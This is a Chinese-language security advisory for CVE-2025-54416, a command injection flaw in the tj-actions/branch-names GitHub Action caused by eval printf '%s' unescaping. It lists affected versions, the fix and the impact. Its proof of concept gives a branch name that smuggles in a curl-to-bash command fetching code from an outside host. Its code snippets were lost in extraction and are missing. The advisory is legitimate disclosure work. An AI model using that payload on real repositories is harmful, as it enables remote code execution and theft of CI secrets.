CVE-2025-54416:tj-actions/branch-names命令注入漏洞分析
漏洞概述
在tj-actions/branch-names GitHub Action工作流中发现了一个严重的安全漏洞,该漏洞允许在下游工作流中执行任意命令。此问题源于不一致的输入清理和未转义的输出,使攻击者能够利用特制的分支名称或标签进行攻击。
技术细节
漏洞根源
该漏洞源于在action代码库中不安全地使用eval printf "%s"模式。虽然初始使用printf "%q"进行清理能够正确转义不受信任的输入,但随后通过eval printf "%s"进行的取消转义操作重新引入了命令注入风险。
以下代码片段展示了不安全的使用模式:
|
|
攻击原理
这种方法允许攻击者将任意命令注入到使用这些输出的工作流中,如下面的概念验证所示。
概念验证
- 创建一个名称为
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)的分支 - 通过向目标仓库打开拉取请求来触发易受攻击的工作流
- 在工作流日志中观察任意代码执行
示例输出:
|
|
影响范围
受影响的版本
- <= 8.2.1
已修复版本
- 9.0.0
潜在后果
此漏洞允许在使用tj-actions/branch-names输出的仓库中执行任意命令。影响的严重程度取决于授予GITHUB_TOKEN的权限和触发事件的上下文。潜在后果包括:
- 窃取存储在仓库中的敏感密钥
- 对仓库的未经授权的写入访问
- 损害仓库的完整性和安全性
修复方案
技术修复
为了解决此漏洞,必须用更安全的替代方案替换不安全的eval printf "%s"模式。具体来说,直接使用printf调用可以在不取消转义shell不安全字符的情况下实现相同的功能。
以下是推荐的修复代码:
|
|
建议措施
立即行动:使用tj-actions/branch-names工作流的开发人员应将其工作流更新到最新主要版本v9。
参考资源
- GitHub Actions安全指南
- 如何保护GitHub Actions工作流
- 相关漏洞:GHSA-mcph-m25j-8j63
- 模板注入公告:GHSA-8v8w-v8xg-79rf
漏洞信息
- CVE ID: CVE-2025-54416
- GHSA ID: GHSA-gq52-6phf-x2r6
- 严重程度: 严重(CVSS评分9.1)
- 弱点类型: CWE-77 命令注入
- 发布时间: 2025年7月25日
- 最后更新: 2025年7月28日